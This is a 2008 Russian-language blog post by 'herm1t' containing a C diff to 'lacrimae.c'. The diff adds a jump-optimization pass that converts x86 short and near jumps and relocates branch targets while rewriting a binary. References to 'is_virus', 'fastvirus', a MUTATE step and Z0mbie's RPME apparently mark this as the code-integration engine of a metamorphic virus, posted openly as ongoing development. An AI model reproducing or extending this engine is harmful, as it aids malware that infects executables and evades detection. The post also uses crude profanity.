herm1t LIVE!ng room - [entries|archive|friends|userinfo]
herm1t

[ website | twilight corner in the herm1t's cave ]
[ userinfo | ljr userinfo ]
[ archive | journal archive ]

[Apr. 3rd, 2008|02:40 pm]
Previous Entry Add to Memories Tell A Friend Next Entry
[Current Mood |awake]
[Current Music |Nick Cave - More News from Nowhere]

Тэк-с, а теперь еще кусочек для оптимизации переходов. В начале, как всегда - проебал добавить к адресу alignment.
--- 27/lacrimae.c	2008-04-01 13:25:05.000000000 +0300
+++ 28/lacrimae.c	2008-04-03 15:51:03.699870617 +0300
@@ -441,6 +441,7 @@
 	return 0;
 }
 
+#ifndef	OJMP
 /* convert short sommand to its near equivalent */
 /* this code has been taken from RPME (c) Z0mbie */
 static int convert_rel(code_t *c)
@@ -480,6 +481,68 @@
 	}
 	return 0;
 }
+#else
+/* two-way convert function */
+static int convert_rel(code_t *c, int up_down)
+{
+	uint8_t b0, b1, *buf;
+	
+	if ((buf = malloc(8)) == NULL)
+		return 1;
+	bzero(buf, 8);
+	b0 = c->src[0];
+	b1 = c->src[1];
+
+	/* DOWN */
+	if (up_down) {
+		if (b0 == 0x0f && (b1 & 0xf0) == 0x80)
+			buf[0] = 0xf0 ^ b1;
+		else if (b0 == 0xe9)
+			buf[0] = 0xeb;
+		else if (b0 == 0x49 && b1 == 0x0f)
+			buf[0] = 0xe2;
+		else if (b0 == 0x09 && b1 == 0xc9)
+			buf[0] = 0xe3;
+		else	/* FIXME: loope / loopne */
+			return 1;
+		c->diza.len = 2;
+		c->diza.datasize = 1;
+	} else {
+	/* UP */
+		/* short jcc? */
+		if ((b0 & 0xf0) == 0x70) {
+			buf[0] = 0x0f;
+			buf[1] = 0xf0 ^ b0;
+			c->diza.len = 6;
+		} else /* short jmp? */
+		if (b0 == 0xeb) {
+			buf[0] = 0xe9;
+			c->diza.len = 5;
+		} else /* loop/z/nz,jcxz? */
+		/* gcc does not use them, but... */
+		if ((b0 & 0xfc) == 0xe0) {
+			/* loop */
+			if (b0 == 0xe2) {
+				buf[0] = 0x49;			/* dec ecx */
+				*(uint16_t*)(buf + 1) = 0x850f;	/* jnz near */
+				c->diza.len = 7;
+			} else /* jczx */
+			if (b0 == 0xe3) {
+				*(uint16_t*)(buf + 0) = 0xC909;	/* or ecx, ecx */
+				*(uint16_t*)(buf + 2) = 0x840F;	/* jz near */
+				c->diza.len = 8;
+			} else
+				return 1;
+		}
+		c->diza.datasize = 4;
+	}
+	if (c->flags & FL_FREESRC)
+		free(c->src);
+	c->src = buf;
+	c->flags |= FL_FREESRC;	
+	return 0;
+}
+#endif /* OJMP */
 
 typedef struct t_markinfo markinfo;
 struct t_markinfo {
@@ -643,10 +706,12 @@
 				jmp = (c->src - info->base) + c->diza.len + c->diza.data_l[0];
 			else
 				jmp = (c->src - info->base) + c->diza.len + c->diza.data_c[0];
+#ifndef	OJMP
 			/* we won't jumps that might go out of range */
 			if (c->diza.datasize != 4)
 				if (convert_rel(c))
 					goto finish_err;
+#endif
 			if (info->is_virus) {
 				off = jmp - stext;
 				fast = fastvirus;
@@ -1644,10 +1709,18 @@
 		FOR_EACH(sections[i].code, c)
 			if (c->flags & FL_EXTERN) {
 				*((uint32_t*)(file + c->dsta + 1)) = (sec[SI_PLT]->addr + symbol_to_plt(c->symbol) - prelink) - c->dsta - 5;
-			} else if (c->link != NULL && (c->flags & FL_GOTOFF) == 0)
+			} else if (c->link != NULL && (c->flags & FL_GOTOFF) == 0) {
+#ifdef	OJMP
+				uint32_t r = c->link->dsta - c->dsta - c->diza.len;
+				if (c->diza.len > 2)
+					*((uint32_t*)(file + c->dsta + c->diza.len - 4)) = r;
+				else
+					*((uint8_t*)(file + c->dsta + 1)) = r;
+#else
 				/* there is no short jumps anymore */
 				*((uint32_t*)(file + c->dsta + c->diza.len - 4)) = c->link->dsta - c->dsta - c->diza.len;
-			else if (c->flags & FL_GOTPTR1)
+#endif
+			} else if (c->flags & FL_GOTPTR1)
 				*((uint32_t*)(file + c->dsta + c->diza.len - 4)) = new_gotoff - c->dsta + 1;
 			else if (c->flags & FL_GOTPTR2)
 				*((uint32_t*)(file + c->dsta + c->diza.len - 4)) = new_gotoff - c->dsta;
@@ -1994,6 +2067,61 @@
 #ifdef	MUTATE
 	mutate();
 #endif
+#ifdef	OJMP
+	/* optimize jumps */
+	/* pass 0: set initial size of jumps, relative addresses and fill the skip-list */
+	int addr = 0;
+	code_t *jmps = NULL;
+	prev = NULL;
+	FOR_EACH(sec[SI_TEXT]->code, c) {
+		addr += c->al;
+		if ((c->diza.flag & C_REL) && (*c->src != 0xe8)) {
+			if (jmps == NULL) {
+				jmps = c;
+				prev = c;
+			} else {
+				prev->list = c;
+				prev = c;
+			}
+			/* "down" conversion (near -> short) */
+			if (c->diza.len != 2)
+				if (convert_rel(c, 1))
+					exit(12); /* FIXME */
+		}
+		/* unused field as temp address */
+		c->diza.dst_set	= addr;
+		addr += c->diza.len;
+	}
+	prev->list = NULL;
+	/* pass1: iterate through jmps list, expand jumps if neccessary and adjust addresses */
+	int fixes;
+	if (jmps) do {
+		fixes = 0;
+		for (prev = NULL, c = jmps; c != NULL; c = c->list) {
+			int dst = c->link->diza.dst_set - c->diza.dst_set - c->diza.len;
+			if (c->diza.len == 2) {
+				if (dst < -128 || dst > 127) {
+					/* "up" conversion (short -> near) */
+					if (convert_rel(c, 0))		
+						exit(12); /* FIXME */
+					/* remove this jump from the list */
+					if (prev == NULL)
+						jmps = c->list;
+					else
+						prev->list = c->list;
+					/* adjust addresses of all commands ahead */
+					code_t *d;
+					for (d = c->next; d != NULL; d = d->next)
+						d->diza.dst_set += c->diza.len - 2; 
+					/* more jumps may go out of range */
+					fixes++;
+					break;
+				} else
+					prev = c;
+			}
+		}
+	} while (fixes != 0);
+#endif
upd. блядь, список нормально покоцать не смог. позорище Ж-)))
LinkLeave a comment